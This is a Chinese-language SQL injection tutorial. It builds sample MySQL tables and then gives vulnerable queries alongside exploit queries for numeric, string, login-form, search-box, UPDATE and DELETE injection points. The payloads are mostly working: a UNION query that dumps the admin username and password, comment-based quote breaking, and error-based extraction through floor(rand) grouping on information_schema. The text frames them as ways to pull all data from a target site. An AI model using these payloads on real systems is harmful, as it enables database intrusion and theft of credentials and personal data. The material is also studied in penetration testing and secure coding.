mysql> create table if not exists `personal_info`( -> `id` int unsigned not null auto_increment, -> `name` varchar(50) not null, -> `age` int not null, -> `phonenu` varchar(20) not null unique, -> `email` varchar(20) not null unique, -> `sex` varchar(20) not null default 'man', -> `birthday` date not null default '1991-01-01', -> primary key(`id`), -> index username_index(`name`), -> index userpass_index(`phonenu`) -> )ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;
1 2 3 4 5 6 7 8 9
mysql> create table if not exists `admin`( -> `id` int unsigned not null auto_increment, -> `username` varchar(50) not null, -> `passwd` varchar(50) not null, -> `email` varchar(20) not null unique, -> primary key(`id`), -> index username_index(`username`), -> index userpass_index(`passwd`) -> )ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;
标准数字型注入语句: mysql> select * from personal_info where id=3;
数字型sql注入利用,数字嘛,也不存在什么闭合,直接跟上sql,就可以一下就把网站管理员的账号密码都查出来: mysql> select * from personal_info where id=-3 union select username,passwd,3,4,5,6,7 from admin;
1 2 3 4 5
标准字符型注入语句: mysql> select * from personal_info where name='fedora';
字符型sql注入利用,想办法闭合单引号,and后面可随意跟上各种子查询就可以把所有数据遍历出来了 mysql> select * from personal_info where name='fedora' and 12=12 -- -; '
1 2 3 4 5
各种常见的登陆框注入漏洞原型sql语句: mysql> select * from admin where username='admin' and passwd='abc123';
具体利用方法如下,依然是闭合前面注释后面,在and后面跟上各种子查询,直到把所有想要的数据都遍历出来: mysql> select * from admin where username='admin' and 12=12 -- - passwd='abc123';
1 2 3 4 5
针对各类搜索框注入的漏洞原型sql语句: mysql> select * from personal_info where name like '%ka%';
具体利用方法 也非常简单,只需要前后的单引号和通配符都闭合掉即可保证语句的正常执行 mysql> select * from personal_info where name like '%%' and 12=12 -- +%';
漏洞原型语句: mysql> update personal_info set email = 'flow@yeah.net' where name='fedora';
漏洞利用语句,其实,这里是利用mysql自身的报错特性来查数据的,但大多数情况下,稍微有点儿尝试的目标站一般都会接收页面错误,这时你依然可以利用盲注的来查数据,方法大同小异 mysql> update personal_info set email=''*(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)* '' where name='fedora';
漏洞原型sql语句: mysql> delete from personal_info where id='fedora';
针对性注入利用,这个闭合其实跟select的时候差不多,无非就是数字或者字符串,数字就不存在什么闭合了,如果是字符串,注意闭合掉前后的单引号即可 mysql> delete from personal_info where id='fedora' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) -- +';